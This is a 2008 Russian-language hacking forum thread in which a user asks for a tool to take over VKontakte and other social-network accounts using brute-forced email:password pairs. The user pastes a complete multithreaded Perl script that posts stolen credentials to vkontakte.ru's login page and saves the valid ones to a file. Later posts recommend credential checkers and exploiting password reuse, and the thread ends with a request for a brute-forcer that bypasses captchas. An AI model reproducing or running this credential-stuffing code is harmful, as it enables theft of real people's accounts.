скрипт нужен +++

Discussion in 'Болталка' started by F1shka, 26 Oct 2008.

  1. F1shka

    F1shka Elder - Старейшина

    Joined:
    10 Apr 2008
    Messages:
    173
    Likes Received:
    305
    Reputations:
    3
    Доброго времени суток! Помогите кто сколько может, т.е. нужен скрипт на перле и\или прога, которая вспоминает пароль по отбрученным мылам, от соц сетей ( вконтакте и др. )
    login@mail.ru : password
    и в отдельный файл (good.txt) записывала пасы.
     
  2. P3L3NG

    P3L3NG Banned

    Joined:
    4 Jun 2008
    Messages:
    175
    Likes Received:
    204
    Reputations:
    11
    вряд ли такое есть в паблике. лучше просто в чекер загони список. многие делают одинаковые пассы
     
  3. InfernoNet

    InfernoNet Elder - Старейшина

    Joined:
    7 Nov 2007
    Messages:
    248
    Likes Received:
    228
    Reputations:
    -20
    Смысл разъясни. Не понимаю я смысл данной фразы.
     
  4. F1shka

    F1shka Elder - Старейшина

    Joined:
    10 Apr 2008
    Messages:
    173
    Likes Received:
    305
    Reputations:
    3
    Объясняю по русски: у меня есть мыла отбрученные вида
    Lolgin@mail.ru:password
    мне надо чтобы скрипт заходил на вконтакте и нажимал восстановить пароль и из письма выдирал пасс, вроде ничего сложного.
    Я нашёл, но он что то кривовато, мб подскажите как оно и чем едят
    Code:
    #! /usr/bin/perl -w
    #(c)Kaimi
    #modified by b00 (v0.2), Oct 2008
    use strict;
    use IO::Socket;
    use threads;
    use threads::shared;
    
    die "\nUsage: \$ ./pass_bruter.pl [threads] [input file (or e-mails file)] [output file] [password (if entered e-mail list)]\n\n" if !@ARGV;
    
    our $threads =  $ARGV[0] || 5				; #Кол-во потоков
    #our $combolist = $ARGV[1];					# Structure:  e-mail:password
    #our $fname   =  $ARGV[2] || 'good.txt'   	; #Валидные
    our $pass    =  $ARGV[3] || undef     	; #pwd
    #our $ml      =  shift || Reult			; #Список мыл
    
    my $acc;
    my @acc:shared;
    my $i:shared;
    my $total:shared=0;
    $|=1;
    
    print "Loading...\n";
    
    open (ACS,'<',$ARGV[1]) || die("Could not open input file: $!");
    while (<ACS>){
    	chomp;
    	($acc,$pass)=split(/:/,$_);
    	push(@acc,"$acc,$pass");
    }
    
    my $size = $.;
    my $time 	 = time; 
    my $start 	 = localtime;
    print  "Loaded: ",$size," emails.\n";
    printf "Started at $start\n";
    
    my @trl;
    for(0..local $threads) {$trl[$_] = threads->create(\&Brut, $_);}
    foreach(@trl) { $_->join; }
    
    
    my $percent;
    sub Brut{
    	while(@acc){
    		{lock(@acc); ($acc,$pass)=split(/,/,shift(@acc));}
    		my $sock = new IO::Socket::INET 
    		(
    		PeerAddr => 'vkontakte.ru',
       		PeerPort => 80,
    #		LocalPort => 8080,
       		PeerProto => 'tcp',
       		TimeOut => 20,
    		) or die "Can't connect: $!\n";
    		
    		my $data = "email=$acc&pass=$pass";
    		my $len = length($data);
    		my $re = "POST /login.php HTTP/1.1\n".
    		 "Host: vkontakte.ru\n".
    		 "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9) Gecko/2008052906 Firefox/2.0.0.11\n".
    		 "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\n".
    		 "Accept-Language: ru,en-us;q=0.7,en;q=0.3\n".
    		 "Accept-Encoding: gzip,deflate\n".
    		 "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\n".
    		 "Keep-Alive: 300\n".
    		 "Proxy-Connection: keep-alive\n".
    		 "Referer: http://vkontakte.ru/index.php\n".
    		 "Content-Type: application/x-www-form-urlencoded\n".
    		 "Content-Length: $len\n\n$data";
    		
    		print $sock $re; 
    		sysread ($sock, my $answ, 988);
    			
    		if($answ=~/\S{32}/){
    				{lock($total); $total++;}
    				print "[+] $acc\n";
    				open(FILE, '>>',$ARGV[2]) || die("Could not open $ARGV[2]: $!\n");
    				print FILE "$acc : $pass\n";
    				close(FILE);
    		}
    		{lock($i);$i++;}
    		$percent = ($i/$size)*100;
    		progress();
    	}
    }
    
    
     $time = time-$time;
    my $end = localtime;
    printf "Finished at $end\n";
    printf "Time elapsed: $time sec\n";
    printf "File $ARGV[1] processed.\n";
    printf "Finded: $total :(\n" if $total==0;
    printf "Finded: $total :)\n" if $total>0;
    
    sub progress(){
    print "|";
    $percent = sprintf("%.2f", $percent);
    print "< $percent% > complete";
    print "\r";
    }
    exit();
     
  5. presidentua

    presidentua милиционер Античата

    Joined:
    4 Nov 2007
    Messages:
    305
    Likes Received:
    236
    Reputations:
    15
    Врядли бесплтано будет кто-то делать. Предложи н-ную сумму и на завтра тебе умельцы все сделают. Токо учти что за малую сумму никто не согласиться работать, ибо например не так-то просто выдрать сообщения с Гугла и других мыл которые не поддерживают ПОП-протокол
     
  6. F1shka

    F1shka Elder - Старейшина

    Joined:
    10 Apr 2008
    Messages:
    173
    Likes Received:
    305
    Reputations:
    3
    приму в добрые руки любой рабрчий брут с обходом капчи..
    [:стыдно, краснеет, надеется на лучшее:]